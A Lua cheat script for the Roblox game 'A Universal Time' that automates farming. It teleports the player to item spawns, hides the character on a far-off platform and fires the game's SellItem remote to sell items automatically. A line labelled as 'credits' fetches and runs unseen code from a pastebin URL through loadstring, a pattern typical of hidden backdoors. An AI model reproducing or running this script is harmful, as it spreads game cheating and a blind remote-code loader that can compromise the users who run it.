A Universal Time

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-- Settings

Delay = 0.5
Distance = 11
AutoSell = {
Arrow = true,
["Rokakaka Fruit"] = true,
["Requiem Arrow"] = true,
}

-- Variable
local player = game.Players.LocalPlayer
local sell = game.ReplicatedStorage.newremotes.SellItem

-- Platform
local plat = Instance.new("Part")
plat.Size = Vector3.new(3,1,3)
plat.Anchored = true
plat.CFrame = CFrame.new(0,10000,0)
plat.Parent = workspace

-- Credits | if you remove this you're un-epic


loadstring(game:HttpGet("https://pastebin.com/raw/vJg6Sa8w", true))()

-- Skeet
while true do
-- Teleport to items
for i,v in pairs(workspace.Items:GetChildren()) do
if v:FindFirstChild("Handle") and player.Character and
player.Character:FindFirstChild("HumanoidRootPart") and
player.Character:FindFirstChild("Humanoid") then

player.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,
false)

player.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false)
player.Character.HumanoidRootPart.CFrame = v.Handle.CFrame +
Vector3.new(0, Distance, 0)
wait(Delay)
end
end
-- To Safety!
if player.Character and player.Character:FindFirstChild("HumanoidRootPart")
then
player.Character.HumanoidRootPart.CFrame = plat.CFrame + Vector3.new(0, 5,
0)
end
-- Unequip Tool
local tool = player.Character:FindFirstChildOfClass("Tool")
if tool then
tool.Parent = player.Backpack
wait()
end
-- Use & Sell
if player:FindFirstChild("Backpack") then
for i,v in pairs(player.Backpack:GetChildren()) do
if v.Name == "Money" and player.Character then
v.Parent = player.Character
wait()
v:Activate()
elseif AutoSell[v.Name] and player:FindFirstChild("Data") and
player.Data:FindFirstChild("Money") and player.Data.Money.Value < 10000000 then
sell:FireServer(v.Name)
end
end
end
wait(.25)
end

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